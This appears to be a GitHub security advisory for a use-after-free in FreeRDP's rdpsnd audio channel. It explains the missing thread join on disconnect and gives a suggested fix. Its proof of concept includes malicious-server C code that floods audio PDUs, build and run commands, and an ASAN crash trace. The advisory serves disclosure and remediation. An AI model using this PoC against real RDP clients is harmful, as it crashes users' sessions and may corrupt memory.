All vulnerabilities
GHSA-vqxm-9w7c-hvvx

Use-After-Free in FreeRDP Static rdpsnd Disconnect Path During Asynchronous Playback

FreeRDP
CVSS
6.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published28 Sep 2026Updated 28 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

FreeRDP's static rdpsnd client channel can use freed audio state after a server disconnects while asynchronous playback is processing queued audio PDUs. The disconnect callback frees ClientFormats, ServerFormats, and the audio device without first joining play_thread, causing a client-side heap-use-after-free (CWE-416).

Tested commit: 239783791ddfc81dfb127b892c21da4ce85fe4ac. Tested version: 3.30.1-dev0. Reproduction used the project's OSS-Fuzz Docker build environment.

Technical Details

Unless FreeRDP_SynchronousStaticChannels is enabled, static rdpsnd uses asynchronous playback (channels/rdpsnd/client/rdpsnd_main.c:1623-1626). Received PDUs are posted to the message queue at :1187-1192 and consumed by play_thread at :1443-1482.

When CHANNEL_EVENT_DISCONNECTED is received, rdpsnd_virtual_channel_event_disconnected (:1337-1368) closes the device, calls cleanup_internals, and frees the device. cleanup_internals frees ClientFormats and ServerFormats and clears their pointers (:1313-1330). However, this path never calls free_internals.

free_internals is the function that calls rdpsnd_terminate_thread; that function posts WMQ_QUIT, waits for play_thread, and only then frees the message queue (:1296-1311, :1382-1398). The later CHANNEL_EVENT_TERMINATED callback is therefore too late to protect the interval between disconnect cleanup and thread termination.

During this interval, play_thread can process a queued Wave2 PDU through rdpsnd_recv_wave2_pdu (:704-733). The function checks NumberOfClientFormats, obtains &ClientFormats[wFormatNo], and dereferences the format. It then reaches rdpsnd_treat_wave, which accesses the format and invokes device->FormatSupported, device->PlayEx, or device->Play (:608-668). The check and subsequent use are unsynchronized, so the bounds check does not prevent the use-after-free.

The dynamic-channel close path already has the correct ordering: cleanup, free_internals including the thread join, and device destruction (:1708-1733).

Impact

A malicious RDP server can cause the client process to read freed heap memory and invoke audio-device callbacks through freed state. The PoC directly demonstrates a client crash and memory-safety violation. Heap corruption may enable more severe exploitation, but code execution was not demonstrated. No special client privilege or high-risk opt-in is required when asynchronous static audio playback is enabled.

Proof of Concept

The relevant server-side payload generator used by the tested harness is:

#include <freerdp/channels/rdpsnd.h>
#include <winpr/synch.h>

#define SAMPLE_SIZE 2000

static AUDIO_FORMAT format = {
    .wFormatTag = WAVE_FORMAT_PCM,
    .nChannels = 2,
    .nSamplesPerSec = 44100,
    .nBlockAlign = 4,
    .wBitsPerSample = 16,
    .cbSize = 0,
};
static BYTE sample[SAMPLE_SIZE];

static DWORD WINAPI flood_wave2(LPVOID arg)
{
    RdpsndServerContext* rdpsnd = (RdpsndServerContext*)arg;
    UINT16 block = 0;

    for (;;)
        rdpsnd->SendSamples2(rdpsnd, 0, sample, sizeof(sample), block++, 0);
    return 0;
}

static void activated(RdpsndServerContext* rdpsnd)
{
    if (rdpsnd->SelectFormat)
        rdpsnd->SelectFormat(rdpsnd, 0);
    CreateThread(NULL, 0, flood_wave2, rdpsnd, 0, NULL);
}

/* In the server's PostConnect callback: */
rdpsnd->use_dynamic_virtual_channel = FALSE;
rdpsnd->server_formats = &format;
rdpsnd->num_server_formats = 1;
rdpsnd->src_format = &format;
rdpsnd->Activated = activated;

From the repository checkout inside the project's OSS-Fuzz Docker build environment, build the instrumented client and Sample server:

cmake -G Ninja \
  -C ci/cmake-preloads/config-oss-fuzz.cmake \
  -DCMAKE_BUILD_TYPE=Debug \
  -DBUILD_SHARED_LIBS=OFF \
  -DCMAKE_INTERPROCEDURAL_OPTIMIZATION=OFF \
  -DWITH_CLIENT=ON \
  -DBUILD_FUZZERS=OFF \
  -DBUILD_TESTING=OFF \
  -DOSS_FUZZ=ON \
  -S . -B build
cmake --build build --parallel
openssl req -x509 -newkey rsa:2048 -nodes \
  -keyout server.key -out server.crt -days 1 -subj /CN=localhost

Run the malicious Sample server, connect with the ASAN client, and repeatedly tear down the server-side transport while the Wave2 flood is active:

Xvfb :100 -screen 0 1024x768x16 >xvfb.log 2>&1 &
DISPLAY=:100 ./build/server/Sample/sfreerdp-server \
  --port=3390 --cert=server.crt --key=server.key >rdpsnd-server.log 2>&1 &
ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \
  timeout 10 ./build/client/X11/xfreerdp \
  /v:localhost:3390 /sec:tls /cert:ignore /u:user /p:pass \
  /audio-mode:0 /sound:sys:fake /log-level:DEBUG

The first 100-attempt trial hit on attempt 40; a validation trial hit on the first attempt. The observed ASAN report was:

ERROR: AddressSanitizer: heap-use-after-free
READ of size 2 ... thread T3
    #0 rdpsnd_detect_overrun  channels/rdpsnd/client/rdpsnd_main.c:565
    #1 rdpsnd_treat_wave      channels/rdpsnd/client/rdpsnd_main.c:638
    #2 rdpsnd_recv_wave2_pdu  channels/rdpsnd/client/rdpsnd_main.c:733
    #3 rdpsnd_recv_pdu        channels/rdpsnd/client/rdpsnd_main.c:828
    #4 play_thread             channels/rdpsnd/client/rdpsnd_main.c:1479
freed by thread T2 here:
    #1 cleanup_internals
       channels/rdpsnd/client/rdpsnd_main.c:1321
    #2 rdpsnd_virtual_channel_event_disconnected
       channels/rdpsnd/client/rdpsnd_main.c:1360
    #3 freerdp_channels_disconnect
previously allocated by thread T3 here:
    #1 rdpsnd_select_supported_audio_formats
       channels/rdpsnd/client/rdpsnd_main.c:175
SUMMARY: AddressSanitizer: heap-use-after-free

Suggested Fix

In rdpsnd_virtual_channel_event_disconnected, call free_internals(rdpsnd) after cleanup_internals(rdpsnd) and before device->Free. This joins play_thread before the format arrays or device are released and matches the ordering used by rdpsnd_on_close. Ensure the disconnect and termination callbacks remain idempotent for repeated lifecycle events.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c<= 3.31.1GitHub